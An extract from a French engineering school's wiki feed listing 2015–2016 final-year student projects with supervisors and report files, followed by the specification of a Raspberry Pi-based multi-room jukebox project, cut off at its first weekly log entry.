Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Elèves&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Encadrant Ecole&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapport décembre&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapports finaux&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Vidéo&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P1 Convertisseur DC/DC pour réseau MTDC]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mehmet Ilter &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Philippe DELARUE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P2 Data Logger]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Hidéo VINOT&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015 12;00&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier: Dossier_soutenance_P2_Data_Logger_Hideo_VINOT_IMA5SC_2015.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; mercredi 24 février à 10h avec L. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P4 Jukebox multi-pièces]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Jouy / Julien hérin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rodolphe Astori / Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Pre_soutenance_PFE_Jouy_herin.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport PFE P4 Julien HERIN.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV pris le 23/02 avec L. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P9 Système d'hébergement domestique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Romain Libaert / Timothée Teneur &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 10:21, [[Fichier:P9_LIBAERT_TENEUR_DEC15.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:PFE_Final_TENEUR_LIBAERT.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Tournée le 22/02 par M. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P10 LILLIAD: Connected Learning Center | P10 LILLIAD: learning center connecté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mageshwaran Sekar &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015,07:48, [[Fichier:P10_FYP_December_Report_M_SEKAR.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:FYP-P10-Lilliad-MSEKAR.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P11 Spectateur augmenté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Teresa Tumbragel &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Teresa Tumbragel-Rapport Spectateur Augmente.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P12 Capteurs enfouis pour vieillissement du béton]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; JULITA Alex &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P14 Localisation dans le corps humain]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Matthieu Marcadet &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 10:52, [[Fichier:Rapport_intermediaire_PFE_Marcadet.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_PFE_P14_Matthieu_Marcadet.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P18 Meuble intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Kevin Colautti / Benjamin Lefort &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rémy Bernard / Alexandre Boé / Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 14:44, [[Fichier:P18_pre_soutenance.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_P18_COLAUTTI_LEFORT.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Tournée le 22/02 par M. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Automatic Soldering System Project|P20 Placeur de composants sur PCB]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean Wasilewski &amp;amp; Pierre Letousey &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys / Alexandre Boé &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:P20_ASSP.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:IMA5-ASSP-JWPL.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rendez-vous pris avec M. Engels le vendredi 25 Février à 10h &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P24 Nuage pour sites Web]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jeremie Denechaud / Thibaut Scholaert &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:02, [[Fichier:P24_Denechaud_Scholaert.pdf| Rapport intermédiaire de projet]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Fait Maison&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P25 Architecture ROS pour des véhicules autonomes intelligents]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean-Michel Tournier / Cyril Smagghe &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent Coelen et Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015,09:04, [[Fichier:P25-2015_Smagghe_Tournier_decembre.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_final_P25_Smagghe_Tournier.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;RDV mercredi 24 15h &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P26 Robot de forgeage et d’usinage]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bertrand Yvernault / Louis Thebault &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 17:51&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Tournée le 22/02 par M. Engels &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P27 Robot de fraiseuse]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Flavien Royer / Maxime Morisse &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:06, [[Fichier:Rapport_Royer_Morisse.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Fichier:RapportPFE_ROYER_MORISSE.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; mardi 23 février à 11h15 avec Laurent Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P30 Thermostat connecté et intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; TISSOT Elise / TIRABY Céline &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Guillaume Renault / Alexandre Boé / Xavier Redon &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;15/12/2015, 00:35, [[Fichier:Rapport_PFE_TISSOT_TIRABY.pdf‎ ]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_final_PFE_TISSOT_TIRABY.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Tournée le 19/02 par L. Engels &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P32 Récupération d'énergie pour balise BLE]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Quentin Sultana &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Frédéric Giraud / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 13/12/2015, 19:31, [[Fichier:CR Miprojet_Sultana.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_P32_Sultana.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 24/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P33 Réalisations en faveur de l'accessibilité de jeux vidéos]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jérôme Bailet / Mehdi Zeggaï &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; GAPAS / Laurent Grisoni / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 10:54, [[Fichier:PFE_IMA5_Rapport_intermediaire_Bailet_Zeggai.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 25/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P35 Robot de test pour le sport de Golf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Deborah Saunders &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:07&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P34 Optimisation de trajectoire pour un robot de curiethérapie]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Sandra HAGE CHEHADE / Thomas DANEL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent COELEN / Rochdi MERZOUKI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:02&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P40 Maquette mécatronique durcie d'ascenseur 5 étages]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Louis CHAUCHARD / Romain IMBERT &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise CONRARD &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:21&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:IMA5_P40_Chauchard_Imbert_RapportFinal.pdf‎]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 23/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P13 Plateforme expérimentation IOT]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; ROCHE François &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:37, [[Fichier:PFE_P13_Plateforme_expérimentation_IOT.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:PFE_P13-Plateforme_expérimentation.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Tournée le 22/02 par M. Engels &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Implantation d'un filtre FIR-FX-LMS sur FPGA pour l'annulation de Bruit Acoustique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bown Alexander / Piat Valentin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Pilulier automatique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Manouk Simon / Corentin Duplouy &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport Duplouy Simon.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 23/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Rapport_PFE_P4_Julien_HERIN.pdf&amp;diff=27667</id>
		<title>Fichier:Rapport PFE P4 Julien HERIN.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Rapport_PFE_P4_Julien_HERIN.pdf&amp;diff=27667"/>
				<updated>2016-02-23T11:52:42Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:InstructablesHardwareP4.pdf&amp;diff=27664</id>
		<title>Fichier:InstructablesHardwareP4.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:InstructablesHardwareP4.pdf&amp;diff=27664"/>
				<updated>2016-02-23T11:45:33Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27505</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27505"/>
				<updated>2016-02-21T19:06:36Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Circuit ON/OFF */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
